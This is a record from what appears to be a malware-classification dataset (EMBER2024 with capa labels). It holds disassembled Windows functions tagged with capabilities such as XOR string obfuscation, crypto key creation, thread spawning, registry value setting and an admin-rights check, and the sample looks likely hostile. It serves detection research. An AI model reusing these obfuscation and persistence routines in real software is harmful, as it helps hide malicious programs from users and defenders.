joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408222
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x401a30]
movups xmmword [ebp - 0x36], xmm0
push ebx
movaps xmm0, xmmword [0x4019e0]
xor ebx, ebx
movups xmmword [ebp - 0x26], xmm0
mov eax, ebx
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x401a50]
push esi
movups xmmword [ebp - 0x16], xmm0
mov word [ebp - 2], 0x27
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x40825c
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x36]
push 0xf0000000
push 0x18
push eax
push ebx
push 0x413558
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x40839c
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x36], xmm0
mov dword [ebp - 6], 0x30313c23
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x26], xmm0
mov word [ebp - 2], 0x27
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x16], xmm0
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0x35
jb 0x4082bb
push 0xf0000008
push 0x18
lea eax, [ebp - 0x36]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x40839c
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x408318
push 0xf0000000
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
test eax, eax
jne 0x40839c
movaps xmm0, xmmword [0x401a30]
mov eax, ebx
movups xmmword [ebp - 0x42], xmm0
mov word [ebp - 2], 0x7c
movaps xmm0, xmmword [0x4019e0]
movups xmmword [ebp - 0x32], xmm0
movaps xmm0, xmmword [0x401a50]
movups xmmword [ebp - 0x22], xmm0
movaps xmm0, xmmword [0x401a10]
movups xmmword [ebp - 0x12], xmm0
xor byte [ebp + eax - 0x42], 0x55
inc eax
cmp eax, 0x41
jb 0x408371
push 0xf0000008
push 0x18
lea eax, [ebp - 0x42]
mov byte [ebp - 1], bl
push eax
push ebx
push 0x413558
call esi
neg eax
sbb eax, eax
and dword [0x413558], eax
pop esi
pop ebx
leave
ret
Function at 0x4083a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.0040dc70
push ebx
push esi
push edi
mov esi, ecx
push eax
push edx
xor eax, eax
xor edx, edx
rdtsc
mov dword [0x413554], eax
pop edx
pop eax
or dword [ebp - 0xc], 0xffffffff
xor edx, edx
mov ecx, dword [0x413554]
inc edx
mov dword [ebp - 0x138c], ecx
mov edi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [ebp + edx*4 - 0x138c], ecx
inc edx
cmp edx, edi
jb 0x4083d9
mov dword [ebp - 0x1390], edi
cmp esi, 0xffffffff
jne 0x40840e
lea ecx, [ebp - 0x1390]
call fcn.00408496
mov edx, eax
jmp 0x408447
lea ebx, [esi + 1]
xor edi, edi
xor eax, eax
test esi, esi
je 0x408429
lea ecx, [ebp - 0x1390]
call fcn.00408496
mov edi, eax
or eax, 0xffffffff
xor edx, edx
div ebx
mov ecx, eax
mov dword [ebp - 4], edx
xor edx, edx
mov eax, edi
div ebx
cmp eax, ecx
jb 0x408441
cmp dword [ebp - 4], esi
jne 0x408411
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x40844e
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
mov eax, dword [0x413558]
push esi
push edi
mov edi, edx
test eax, eax
je 0x40846a
push edi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x40847f
xor esi, esi
mov ecx, 0xff
call fcn.004083a0
mov byte [esi + edi], al
inc esi
cmp esi, 0x20
jl 0x40846c
pop edi
pop esi
pop ecx
ret

Function at 0x408496
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x4084de
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x4084a6
jmp 0x4084eb
cmp dword [esi], 0x4e0
jb 0x4084eb
call fcn.00408525
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x408525
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x408537
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x40857c
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret

Function at 0x408c8a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor edx, edx
push ebx
push esi
push edi
xor edi, edi
push 3
inc edi
pop ecx
mov dword [0x4136e8], edi
call fcn.0040d786
push 6
xor edx, edx
pop ecx
call fcn.0040d786
mov eax, dword [0x413730]
xor ebx, ebx
mov ecx, dword [0x4136a0]
mov esi, ebx
test eax, eax
je 0x408cf4
mov edx, dword [ecx + esi*4]
test edx, edx
je 0x408cef
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4136a0]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4136a0]
mov eax, dword [0x413730]
mov dword [ecx + esi*4], ebx
inc esi
cmp esi, eax
jb 0x408cc3
call fcn.00406d33
push 3
mov edx, edi
mov dword [0x4136a0], ebx
pop ecx
call fcn.0040d786
push 5
mov edx, edi
pop ecx
call fcn.0040d786
push 6
mov edx, edi
pop ecx
call fcn.0040d786
movaps xmm0, xmmword [0x401de0]
mov eax, ebx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x34], 0x55
inc eax
cmp eax, 0x11
jb 0x408d30
mov eax, ebx
mov byte [ebp - 0x23], bl
cmp dword [0x41355c], ebx
je 0x408d66
movaps xmm0, xmmword [0x4019c0]
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408d53
mov byte [ebp - 1], bl
lea eax, [ebp - 0x10]
jmp 0x408d88
movaps xmm0, xmmword [0x401da0]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x11
jb 0x408d77
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x22]
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.0040d8f5
pop ecx
pop ecx
pop edi
pop esi
mov dword [0x4136e8], ebx
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408da3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov dword [0x413778], ecx
mov ecx, 0x41370c
push esi
call fcn.00407ed6
mov ecx, 0x413564
call fcn.00407ed6
mov ecx, 0x4136ec
call fcn.00407ed6
mov edx, str.I_f__
mov ecx, 0x413734
call fcn.004021e0
mov edx, str._b_cj
mov ecx, 0x4136a4
call fcn.004021e0
mov edx, 0x40e4b5
mov ecx, 0x413560
call fcn.004021e0
push 0x413588
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movaps xmm0, xmmword [0x401920]
xor eax, eax
push 0x55
movups xmmword [ebp - 0x10], xmm0
pop ebx
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408e17
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
push eax
push 0x4135a0
mov byte [ebp - 1], 0
call esi
movaps xmm0, xmmword [0x401e80]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 0xc], 0x30
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x38
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x27
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x2c
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x1c], bl
inc eax
cmp eax, 0x1b
jb 0x408e6d
lea eax, [ebp - 0x1c]
mov byte [ebp - 1], 0
push eax
push 0x4135e0
call esi
movaps xmm0, xmmword [0x401c40]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x26
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408ea1
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413738
call esi
movaps xmm0, xmmword [0x401e90]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x39
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408ed5
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413660
call esi
movaps xmm0, xmmword [0x401970]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408efb
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x413620
call esi
movaps xmm0, xmmword [0x401900]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408f21
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x4136a8
call esi
pop esi
pop ebx
leave
ret
Function at 0x408f9d
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x4136a0], 0
jne 0x409063
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x41355c], esi
mov dword [0x413584], esi
mov dword [0x413730], ecx
shl ecx, 2
mov dword [0x41372c], esi
call fcn.00406c8e
mov dword [0x4136a0], eax
test eax, eax
je 0x409062
push edi
mov ecx, 0x41370c
call fcn.00407ef9
mov ecx, 0x413564
call fcn.00407ef9
mov ecx, 0x4136ec
call fcn.00407ef9
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x409059
push esi
push esi
push esi
push 0x4085f0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x409012
jmp 0x409059
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x4088e5
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4136a0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x413730]
jb 0x409037
pop edi
pop esi
leave
ret

Function at 0x409096
Capabilities:
Create thread

Disassembly:
cmp dword [0x41355c], 0
jne 0x4090ba
push 5
xor edx, edx
pop ecx
call fcn.0040d786
and dword [0x413584], 0
mov dword [0x41355c], 1
xor ecx, ecx
jmp fcn.00409065

Function at 0x4090cd
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1b
jb 0x4090cf
mov byte [ecx + 0x1b], 0
mov eax, ecx
ret

Function at 0x4090e0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x11
jb 0x4090e2
mov byte [ecx + 0x11], 0
mov eax, ecx
ret

Function at 0x4090f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call fcn.00409e0e
cmp eax, 3
jne 0x409133
mov dword [ebp - 6], 0x5578557e
xor eax, eax
mov word [ebp - 2], 0x55
xor byte [ebp + eax - 6], 0x55
inc eax
cmp eax, 5
jb 0x409114
movzx eax, word [esi + 4]
cmp ax, word [ebp - 6]
je 0x409133
cmp ax, word [ebp - 4]
jne 0x409133
xor al, al
jmp 0x409135
mov al, 1
pop esi
leave
ret
Function at 0x40960e
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x1d
jb 0x409610
mov byte [ecx + 0x1d], 0
mov eax, ecx
ret

Function at 0x409621
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x14
jb 0x409623
mov byte [ecx + 0x14], 0
mov eax, ecx
ret
Function at 0x409970
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
push esi
mov ecx, 0x10000
call fcn.00406c8e
mov esi, eax
test esi, esi
je 0x409ad6
mov dword [ebp - 4], 0x555577
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x40999a
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409acf
mov dword [ebp - 0x18], 0x55755577
mov eax, ebx
mov dword [ebp - 0x14], 0x5503557a
mov dword [ebp - 0x10], 0x555578
xor byte [ebp + eax - 0x18], 0x55
inc eax
cmp eax, 0xb
jb 0x4099e2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x18]
push eax
push esi
mov byte [ebp - 0xd], bl
call edi
movaps xmm0, xmmword [0x401a40]
mov eax, ebx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x28], 0x3003213b
movaps xmm0, xmmword [0x401a20]
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x24], 0x3a3c2627
mov dword [ebp - 0x20], 0x2007093b
mov word [ebp - 0x1c], 0x3b
xor byte [ebp + eax - 0x48], 0x55
inc eax
cmp eax, 0x2d
jb 0x409a31
lea eax, [ebp - 8]
mov byte [ebp - 0x1b], bl
push eax
lea eax, [ebp - 0x48]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409ace
mov dword [ebp - 4], 0x55552e
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409a5f
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [ebp - 0xc]
lea eax, [ebp - 0x68]
push eax
call edi
mov dword [ebp - 4], 0x555528
mov eax, ebx
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x409a8d
lea eax, [ebp - 4]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x68]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, esi
call fcn.00406d33
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x409adc
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x2d
jb 0x409ade
mov byte [ecx + 0x2d], 0
mov eax, ecx
ret

Function at 0x409aef
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x19
jb 0x409af1
mov byte [ecx + 0x19], 0
mov eax, ecx
ret
Function at 0x409b02
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
or esi, 0xffffffff
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0xc], eax
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x409c1a
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 4]
test eax, eax
cmovne esi, dword [ebp - 0x10]
cmovne ebx, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jl 0x409c1a
jg 0x409c1a
test esi, esi
je 0x409c1a
test ebx, ebx
jg 0x409c1a
jl 0x409b85
cmp esi, 0x2000
ja 0x409c1a
mov ecx, edi
call fcn.00409e0e
jmp 0x409b96
cmp word [edi + eax*2], 0x5c
je 0x409b9c
dec eax
test eax, eax
jg 0x409b8e
jmp 0x409b9d
inc eax
lea eax, [edi + eax*2]
mov ebx, 0x413780
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [0x40fcc1], eax
push edx
push edx
lea ecx, [eax + 1]
push ecx
push 0x40fcc5
push eax
push ebx
push edx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [0x40fd45], esi
mov ecx, edi
push esi
mov esi, 0x40fd49
mov edx, esi
call fcn.00409db1
mov edx, dword [0x40fd45]
pop ecx
mov ecx, esi
call fcn.004055de
push 0x1000
mov ecx, 0x411d4d
mov dword [0x41377c], eax
call fcn.00406ce6
and dword [0x411d49], 0
xor eax, eax
add esp, 4
inc eax
jmp 0x409c1c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409c21
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409c75
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x409c7b
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00406ce6
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x409cc9
cmp dword [ebp - 0x110], 5
jne 0x409cc9
cmp dword [ebp - 0x10c], 2
ja 0x409cc9
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x409d49
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409d5d
test al, 0x10
je 0x409d5d
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x409d60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409da4
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x409db1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
call fcn.00409d12
test eax, eax
je 0x409e09
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409e01
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409eeb
Capabilities:
Encode data using xor
Link many functions at runtime
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0x27212607
mov dword [ebp - 9], 0x27321821
mov eax, ebx
mov dword [ebp - 5], 0x3939317b
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xd], 0x55
inc eax
cmp eax, 0xc
jb 0x409f0e
lea eax, [ebp - 0xd]
mov byte [ebp - 1], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [0x414090], ecx
test ecx, ecx
je 0x40a0d7
mov dword [ebp - 0x1c], 0x21063807
mov eax, ebx
mov dword [ebp - 0x18], 0x6212734
mov dword [ebp - 0x14], 0x3c262630
mov word [ebp - 0x10], 0x3b3a
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1c], 0x55
inc eax
cmp eax, 0xe
jb 0x409f56
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x1c]
push eax
push ecx
mov byte [ebp - 0xe], bl
call esi
movaps xmm0, xmmword [0x401a00]
mov dword [0x41388c], eax
mov eax, ebx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x263036
xor byte [ebp + eax - 0x30], 0x55
inc eax
cmp eax, 0x13
jb 0x409f8b
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1d], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414094], eax
mov eax, ebx
mov dword [ebp - 0xa], 0x30123807
mov dword [ebp - 6], 0x263c1921
mov word [ebp - 2], 0x21
xor byte [ebp + eax - 0xa], 0x55
inc eax
cmp eax, 9
jb 0x409fc0
lea eax, [ebp - 0xa]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x414098], eax
mov eax, ebx
mov dword [ebp - 0x1a], 0x3b103807
mov dword [ebp - 0x16], 0x26300631
mov dword [ebp - 0x12], 0x3b3a3c26
mov byte [ebp - 0xe], bl
xor byte [ebp + eax - 0x1a], 0x55
inc eax
cmp eax, 0xc
jb 0x409ff9
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413888], eax
mov eax, ebx
mov dword [ebp - 0xb], 0x3d063807
mov dword [ebp - 7], 0x3a312120
mov word [ebp - 3], 0x3b22
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xb], 0x55
inc eax
cmp eax, 0xa
jb 0x40a031
lea eax, [ebp - 0xb]
mov byte [ebp - 1], bl
push eax
push dword [0x414090]
call esi
mov dword [0x413880], eax
pop esi
cmp dword [0x41388c], ebx
je 0x40a0c5
cmp dword [0x414094], ebx
je 0x40a0c5
cmp dword [0x414098], ebx
je 0x40a0c5
cmp dword [0x413888], ebx
je 0x40a0c5
test eax, eax
je 0x40a0c5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
movaps xmm0, xmmword [0x401b30]
mov dword [0x413884], eax
mov eax, ebx
movups xmmword [ebp - 0x32], xmm0
mov dword [ebp - 0x22], 0x5501551a
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x32], 0x55
inc eax
cmp eax, 0x15
jb 0x40a0a1
push 0x400
push 0x413890
lea eax, [ebp - 0x32]
mov byte [ebp - 0x1d], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x40a0d7
push dword [0x414090]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x414090], ebx
pop ebx
leave
ret

Function at 0x40a28a
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0x15
jb 0x40a28c
mov byte [ecx + 0x15], 0
mov eax, ecx
ret